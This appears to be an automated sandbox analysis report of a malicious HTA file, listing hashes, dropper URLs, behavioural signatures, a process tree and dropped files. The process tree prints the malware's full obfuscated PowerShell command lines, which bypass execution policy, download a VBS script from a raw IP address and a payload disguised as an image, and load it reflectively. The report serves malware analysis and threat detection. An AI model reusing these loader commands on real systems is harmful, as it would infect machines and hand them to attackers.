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Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    13/12/2024, 06:25

General

  • Target

    greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta

  • Size

    80KB

  • MD5

    fccab384cf7d38618313385c0e22638b

  • SHA1

    6e0efbb76a4d4b39a82b7d84393f399ea431b07e

  • SHA256

    fc357d0488d2be1a5a49893d842e24d303250346dad592f6b1c8a9511edc15d2

  • SHA512

    72c9ba041cbeba138a2e02ac8ccb726c58abaa834386a09c203b9e9f9759e0f4c6e5f2ab3c29ab05f93e573195adb8e43a8a89811505084851eff6748f28a4af

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHAgxLiFZpd0LTna8/GdHz6kXd0LcRPi+Bkqr93:tL

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C POwErsHELL -EX ByPass -NoP -w 1 -c DeviCECREDenTIalDePlOyMENT.eXE ; INvOke-ExPressiON($(INvOKE-expReSsIon('[SYSTeM.teXt.EncodInG]'+[ChaR]58+[ChaR]0X3a+'UTF8.GEtStRInG([SYstEm.cONVErT]'+[cHaR]0x3a+[chaR]58+'fROMBAse64StrINg('+[chAr]34+'JHhEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFcmRFZkluaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERRSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUURsTWx0WmRDSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRG1oSUdKc014ZkMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdmtnaEopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlNyZ3BDamUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZUcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeEQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NS4yMzUuMjkvOTAvdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWViYWNrd2l0aG5ldy50SUYiLCIkRW52OkFQUERBVEFcdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWUudmJTIiwwLDApO3N0YVJ0LXNMRWVwKDMpO0lOdk9rRS1FeFByZVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWUudmJTIg=='+[CHaR]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwErsHELL -EX ByPass -NoP -w 1 -c DeviCECREDenTIalDePlOyMENT.eXE ; INvOke-ExPressiON($(INvOKE-expReSsIon('[SYSTeM.teXt.EncodInG]'+[ChaR]58+[ChaR]0X3a+'UTF8.GEtStRInG([SYstEm.cONVErT]'+[cHaR]0x3a+[chaR]58+'fROMBAse64StrINg('+[chAr]34+'JHhEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFcmRFZkluaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERRSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUURsTWx0WmRDSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRG1oSUdKc014ZkMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdmtnaEopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlNyZ3BDamUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZUcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeEQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NS4yMzUuMjkvOTAvdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWViYWNrd2l0aG5ldy50SUYiLCIkRW52OkFQUERBVEFcdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWUudmJTIiwwLDApO3N0YVJ0LXNMRWVwKDMpO0lOdk9rRS1FeFByZVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcdmVyeW5pY2ViZWF1dGlmdWxwaWN0dWVmb3JlbnRpcmVsaWZla2lkc2dpdmVubWUudmJTIg=='+[CHaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\arvzk5xn.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2712
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES61FF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC61EE.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2100
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\verynicebeautifulpictueforentirelifekidsgivenme.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1932
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $verilus = 'JGFwb3N0b2xpY25lc3MgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskdmlicm9tZXRlcnMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRzYW5nYXBlbnVtID0gJHZpYnJvbWV0ZXJzLkRvd25sb2FkRGF0YSgkYXBvc3RvbGljbmVzcyk7JGhvcmlzbWFzY29wZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzYW5nYXBlbnVtKTskSmFuaW5lID0gJzw8QkFTRTY0X1NUQVJUPj4nOyR0cmlicm9tc2Fsb2wgPSAnPDxCQVNFNjRfRU5EPj4nOyRBcmFicyA9ICRob3Jpc21hc2NvcGUuSW5kZXhPZigkSmFuaW5lKTskcGx1cmlzcGlyYWwgPSAkaG9yaXNtYXNjb3BlLkluZGV4T2YoJHRyaWJyb21zYWxvbCk7JEFyYWJzIC1nZSAwIC1hbmQgJHBsdXJpc3BpcmFsIC1ndCAkQXJhYnM7JEFyYWJzICs9ICRKYW5pbmUuTGVuZ3RoOyRkZWNlcm5tZW50ID0gJHBsdXJpc3BpcmFsIC0gJEFyYWJzOyRhZmlyZSA9ICRob3Jpc21hc2NvcGUuU3Vic3RyaW5nKCRBcmFicywgJGRlY2Vybm1lbnQpOyR1bmRyZXNzZWQgPSAtam9pbiAoJGFmaXJlLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRhZmlyZS5MZW5ndGgpXTskR2FzdG9uID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5kcmVzc2VkKTskY3V0aXRlcmVicmEgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRHYXN0b24pOyRhbGxhbnRvaWRlYSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRhbGxhbnRvaWRlYS5JbnZva2UoJG51bGwsIEAoJzAvdnlpZEIvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRiaW9ncmFwaGVlcycsICckYmlvZ3JhcGhlZXMnLCAnJGJpb2dyYXBoZWVzJywgJ0Nhc1BvbCcsICckYmlvZ3JhcGhlZXMnLCAnJGJpb2dyYXBoZWVzJywnJGJpb2dyYXBoZWVzJywnJGJpb2dyYXBoZWVzJywnJGJpb2dyYXBoZWVzJywnJGJpb2dyYXBoZWVzJywnJGJpb2dyYXBoZWVzJywnMScsJyRiaW9ncmFwaGVlcycpKTs=';$spinispicule = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($verilus));Invoke-Expression $spinispicule
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2188

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab7A6F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES61FF.tmp

    Filesize

    1KB

    MD5

    b33e3644eba456e9d0df16e7de1e0d0b

    SHA1

    814046513ad46a9fdf71e7dc74d2f9b44c66e6ae

    SHA256

    2dd633f76c1d7625d560ea0f54d3ac235ce4d7e6a5a72bdf7cb1b28ac9748f6c

    SHA512

    747c28110c7ca9266ff9f167eae0eea91a4c8430dfc233bd5418845a114ecdbeb917408e0c95a256b04ded49bc13f29b6cb0d5032523e106ce71c1c4fd63622a

  • C:\Users\Admin\AppData\Local\Temp\Tar7AC0.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\arvzk5xn.dll

    Filesize

    3KB

    MD5

    7e7629214a4881a3e733541c819cf947

    SHA1

    007f47bb331e700c357851ec77995dd7e05f2aba

    SHA256

    7703c0939b4b59603765e0a125f8f1b91f9365fb4b0621342513cb2b23b3d214

    SHA512

    7f87fcc6d4c42f311ff20ea82386e8a41a686d196eccab1d3f1b5bbff5f011e564e8f97d1ad4aa0116f60d3fc68510f1e62cb17003b4abfa2dcea90f2489c713

  • C:\Users\Admin\AppData\Local\Temp\arvzk5xn.pdb

    Filesize

    7KB

    MD5

    2550b99bbe48de5f2a0e31715a6c7cbb

    SHA1

    6f2e3f49aa79fe09fc88e98eb61464212c4c5cbd

    SHA256

    43dacda65e50aeb224720eeef3a6a69e2447479a1388aaafeb38df8c29bd2186

    SHA512

    4889ae551bdfd04c530a3a0eaf1b7c3c56325c32a6f4310a141031973fefc284ee5ba247bbbcec47ea0644ea139ea1985ca107b8cd0f4fc3f4b9aa5cc87739fe

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    6f7874af670f5d89bd95c51953792939

    SHA1

    4a0e9b9b17c77ac645c885ed8c14cd085be79579

    SHA256

    a1064c0e65b1666985c3821fd8c718476c92e63ffc837560a460b3e9f3975e92

    SHA512

    39263e27788b7e125656e9fc7f7e96bfbeda85bf80a5529ba4a5964d2118bf2a1f4f8b2523244bc1132dbc9ff9f40b6de4e101a22622633b983195698cc94c51

  • C:\Users\Admin\AppData\Roaming\verynicebeautifulpictueforentirelifekidsgivenme.vbS

    Filesize

    150KB

    MD5

    61bcbe69140cdee35ac40f1d97773746

    SHA1

    bb5d746eca7a18890b642e6952eb9c5f71dedaaa

    SHA256

    d68723edcf3ff4f0c7ded177c7eebd74df498b8d16b111fac54f1c11e37c93cf

    SHA512

    303ee3b3b8620f536c3e298bd65557badf251870ca46656741c8d787a351f3abca94fe39bb701563aef9c7c85f89bbdb447704e1f5bce1b63701f575db5e4b0b

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC61EE.tmp

    Filesize

    652B

    MD5

    6fa29e151d0c89fdd0fe6584c8e60e69

    SHA1

    7854367289826470c64deb6525416a2576122fd4

    SHA256

    35135540cea0f3e8861de53d1e16c68ab65a63076b42eccc2e03b213f2b727ad

    SHA512

    872a4f05157d71a2645ec8a08263d0cc8a106a6a69ae91c4a9f5700860d277fa13e8bfc8b9f354f4787cb9095e4e35d368be91a95d371b7dd73f56facc369f8c

  • \??\c:\Users\Admin\AppData\Local\Temp\arvzk5xn.0.cs

    Filesize

    483B

    MD5

    567f2c2af7886bd10a602edea0dbb33b

    SHA1

    aaa2f286d79889f3ae9cd98b9b728f832a0981bd

    SHA256

    942b49df85678ada85046144cac22ee63e865763ea87b1ab1aa56e86e8fe2dac

    SHA512

    8ce20e4dff36398aa1b520c2959907662216003c20085cc6ecf1e612e4005683b187afbe423c3d7a3bdb7da16995526894f264ec4094d3741573eebc7fc35c4c

  • \??\c:\Users\Admin\AppData\Local\Temp\arvzk5xn.cmdline

    Filesize

    309B

    MD5

    80b8e216ff69b266b6d177016ff7769f

    SHA1

    5f8a8a77ec963ed8222a3efb60b05c92c22ec325

    SHA256

    24311dae94eb1a5133dbcfe013c843af2f5d7b6bd2b7f1b88c281d37940ad8db

    SHA512

    1a7decb6b809425866cb9e54ebcbddaa63fc793178bbd88e653ebe15c561ae276ee7575b8444e3d905d1ff52e438fae717559bd31070db6fac512e2959d89a18